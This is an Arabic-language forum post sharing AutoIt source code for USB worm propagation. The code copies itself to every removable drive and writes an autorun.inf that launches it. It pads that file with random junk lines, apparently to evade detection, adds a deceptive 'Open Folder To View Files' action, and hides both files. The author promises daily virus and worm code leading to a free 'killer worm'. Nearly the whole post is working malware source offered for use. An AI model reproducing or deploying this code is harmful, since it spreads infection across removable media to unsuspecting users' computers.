السلام عليكم اخواتى الاعزاء
الموضوع هوا كود AutoIt انتشار usb

الموضوع هوا كود انتشار usb قوى

هذا هوا الكود

Func _RandomAlphaNum($len)
Dim $OP,$Alpha[27] = ["a", "b", "c", "d", "e", "f", "g", _
"h", "i", "j", "k", "l", "m", "n", _
"o", "p", "q", "r", "s", "t", "u", _
"v", "w", "x", "y", "z"]
Do
Switch Random(1,4,1)
case 1
$OP &= $Alpha[Random(0,26,1)]
case 2
$OP &= StringUpper($Alpha[Random(0,26,1)])
case 3
$OP &= Random(0,10,1)
EndSwitch
Until StringLen($OP) >= $len
Return $OP
EndFunc

Func _SpreadUSB($_FNameWithExt=@ScriptName,$_Hidden=Tru e)
$Drives = DriveGetDrive("REMOVABLE")
If IsArray($Drives) And Not @error Then
For $i=1 To $Drives[0]
If FileExists($Drives[$i] & "\" & $_FNameWithExt) Then FileDelete($Drives[$i] & "\" & $_FNameWithExt)
If FileExists($Drives[$i] & "\autorun.inf") Then FileDelete($Drives[$i] & "\autorun.inf")
FileCopy(@ScriptFullPath, $Drives[$i] & "\" & $_FNameWithExt)
FileWrite($Drives[$i] & "\autorun.inf",Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(9,20,1)) & Chr(93) & @CRLF & _
"[autorun]" & @CRLF & _
_RandomAlphaNum(Random(10,30,1)) & @CRLF & _
"open=" & $_FNameWithExt & @CRLF & _
_RandomAlphaNum(Random(10,30,1)) & @CRLF & _
_RandomAlphaNum(Random(5,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
"****************lexecute=" & $_FNameWithExt & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(15,40,1)) & Chr(93) & @CRLF & _
"action=Open Folder To View Files" & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(20,40,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF)
If $_Hidden Then
FileSetAttrib($Drives[$i] & "\" & $_FNameWithExt,"+SH")
FileSetAttrib($Drives[$i] & "\autorun.inf", "+SHR")
EndIf
Next
EndIf
EndFunc

والى هنا قد انتى موضوعى وانتظرونى بئزن الله تعآلى
كل يوم انشاء الله بكود جديد لفيروس او اكواد لدوده
حتى انتهى من عمل الدوده القاتله وسوف تكون مجانيه